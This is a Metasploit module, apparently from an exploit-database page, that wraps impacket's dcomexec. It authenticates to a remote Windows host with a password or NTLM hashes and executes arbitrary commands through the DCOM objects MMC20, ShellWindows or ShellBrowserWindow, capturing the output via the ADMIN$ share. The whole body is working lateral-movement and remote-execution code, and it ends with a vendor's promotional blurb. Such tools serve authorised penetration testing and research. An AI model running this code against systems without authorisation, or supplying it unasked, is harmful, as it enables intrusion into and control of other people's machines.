#!/usr/bin/env python3
# Copyright (c) 2003-2018 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import logging
import os
import string
import sys
import time
try:
from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, \
IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
VARIANT, VARENUM, DISPATCH_METHOD
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, \
OBJREF_CUSTOM, OBJREF_HANDLER, OBJREF_EXTENDED, OBJREF_STANDARD, \
FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
IRemUnknown2, INTERFACE
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smbconnection import SMBConnection, SMB_DIALECT, \
SMB2_DIALECT_002, SMB2_DIALECT_21
except ImportError:
dependencies_missing = True
else:
dependencies_missing = False
import _msf_impacket
import metasploit.module as module
metadata = {
'name': 'DCOM Exec',
'description': '''
A similar approach to psexec but executing commands through DCOM. You
can select different objects to be used to execute the commands.
''',
'authors': ['beto', 'Marcello', 'Spencer McIntyre'],
'date': '2018-03-19',
'license': 'CORE_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/'},
{'type': 'url', 'ref': 'https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/'},
{'type': 'url', 'ref': 'https://github.com/CoreSecurity/impacket/blob/master/examples/dcomexec.py'}
],
'type': 'single_scanner',
'options': {
'COMMAND': {'type': 'string', 'description': 'The command to execute', 'required': True},
'OBJECT': {'type': 'enum', 'description': 'The DCOM object to use for execution', 'required': True, 'default': 'MMC20', 'values': ['ShellWindows', 'ShellBrowserWindow', 'MMC20']},
'OUTPUT': {'type': 'bool', 'description': 'Get the output of the executed command', 'required': True, 'default': True},
'SMBDomain': {'type': 'string', 'description': 'The Windows domain to use for authentication', 'required': False, 'default': '.'},
'SMBPass': {'type': 'string', 'description': 'The password for the specified username', 'required': True, 'default': None},
'SMBUser': {'type': 'string', 'description': 'The username to authenticate as', 'required': True, 'default': None},
},
'notes': {
'AKA': ['dcomexec.py']
}
}
class DCOMEXEC:
def __init__(self, command='', username='', password='', domain='', hashes=None, share=None,
noOutput=False, dcomObject=None):
self.__command = command
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = None
self.__share = share
self.__noOutput = noOutput
self.__doKerberos = False
self.__kdcHost = None
self.__dcomObject = dcomObject
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def getInterface(self, interface, resp):
# Now let's parse the answer and build an Interface instance
objRefType = OBJREF(''.join(resp))['flags']
objRef = None
if objRefType == FLAGS_OBJREF_CUSTOM:
objRef = OBJREF_CUSTOM(''.join(resp))
elif objRefType == FLAGS_OBJREF_HANDLER:
objRef = OBJREF_HANDLER(''.join(resp))
elif objRefType == FLAGS_OBJREF_STANDARD:
objRef = OBJREF_STANDARD(''.join(resp))
elif objRefType == FLAGS_OBJREF_EXTENDED:
objRef = OBJREF_EXTENDED(''.join(resp))
else:
logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
return IRemUnknown2(
INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
target=interface.get_target()))
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
if self.__dcomObject == 'ShellWindows':
# ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Item',))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
resp = iItem.GetIDsOfNames(('Document',))
resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
pQuit = None
elif self.__dcomObject == 'ShellBrowserWindow':
# ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document',))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
elif self.__dcomObject == 'MMC20':
iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document',))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
else:
logging.fatal('Invalid object %s' % self.__dcomObject)
return
iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
if self.__dcomObject == 'MMC20':
resp = iDocument.GetIDsOfNames(('ActiveView',))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
else:
resp = iDocument.GetIDsOfNames(('Application',))
resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0]
self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection)
self.shell.onecmd(self.__command)
except (Exception, KeyboardInterrupt) as e:
if self.shell is not None:
self.shell.do_exit('')
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
class RemoteShell(_msf_impacket.RemoteShell):
def __init__(self, share, quit, executeShellCommand, smbConnection):
self._executeShellCommand = executeShellCommand
self._pwd = 'C:\\windows\\system32'
self._shell = 'cmd.exe'
self.__quit = quit
super(RemoteShell, self).__init__(share, smbConnection)
def do_exit(self, _):
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
return True
def execute_remote(self, data):
command = '/Q /c ' + data
if self._noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1'
dispParams = DISPPARAMS(None, False)
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 5
dispParams['cNamedArgs'] = 0
arg0 = VARIANT(None, False)
arg0['clSize'] = 5
arg0['vt'] = VARENUM.VT_BSTR
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
arg0['_varUnion']['bstrVal']['asData'] = self._shell
arg1 = VARIANT(None, False)
arg1['clSize'] = 5
arg1['vt'] = VARENUM.VT_BSTR
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
arg1['_varUnion']['bstrVal']['asData'] = command.decode('utf-8')
arg2 = VARIANT(None, False)
arg2['clSize'] = 5
arg2['vt'] = VARENUM.VT_BSTR
arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
arg2['_varUnion']['bstrVal']['asData'] = self._pwd
arg3 = VARIANT(None, False)
arg3['clSize'] = 5
arg3['vt'] = VARENUM.VT_BSTR
arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
arg3['_varUnion']['bstrVal']['asData'] = ''
arg4 = VARIANT(None, False)
arg4['clSize'] = 5
arg4['vt'] = VARENUM.VT_BSTR
arg4['_varUnion']['tag'] = VARENUM.VT_BSTR
arg4['_varUnion']['bstrVal']['asData'] = '0'
dispParams['rgvarg'].append(arg4)
dispParams['rgvarg'].append(arg3)
dispParams['rgvarg'].append(arg2)
dispParams['rgvarg'].append(arg1)
dispParams['rgvarg'].append(arg0)
self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
0, [], [])
self.get_output()
class RemoteShellMMC20(RemoteShell):
def execute_remote(self, data):
command = '/Q /c ' + data
if self._noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self._share + self._output + ' 2>&1'
dispParams = DISPPARAMS(None, False)
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 4
dispParams['cNamedArgs'] = 0
arg0 = VARIANT(None, False)
arg0['clSize'] = 5
arg0['vt'] = VARENUM.VT_BSTR
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
arg0['_varUnion']['bstrVal']['asData'] = self._shell
arg1 = VARIANT(None, False)
arg1['clSize'] = 5
arg1['vt'] = VARENUM.VT_BSTR
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
arg1['_varUnion']['bstrVal']['asData'] = self._pwd
arg2 = VARIANT(None, False)
arg2['clSize'] = 5
arg2['vt'] = VARENUM.VT_BSTR
arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
arg2['_varUnion']['bstrVal']['asData'] = command.decode('utf-8')
arg3 = VARIANT(None, False)
arg3['clSize'] = 5
arg3['vt'] = VARENUM.VT_BSTR
arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
arg3['_varUnion']['bstrVal']['asData'] = '7'
dispParams['rgvarg'].append(arg3)
dispParams['rgvarg'].append(arg2)
dispParams['rgvarg'].append(arg1)
dispParams['rgvarg'].append(arg0)
self._executeShellCommand[0].Invoke(self._executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
0, [], [])
self.get_output()
def run(args):
if dependencies_missing:
module.log('Module dependencies (impacket) missing, cannot continue', level='error')
return
_msf_impacket.pre_run_hook(args)
executer = DCOMEXEC(args['COMMAND'], args['SMBUser'], args['SMBPass'], args['SMBDomain'],
share='ADMIN$', noOutput=args['OUTPUT'] != 'true', dcomObject=args['OBJECT'])
executer.run(args['rhost'])
if __name__ == "__main__":
module.run(metadata, run)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation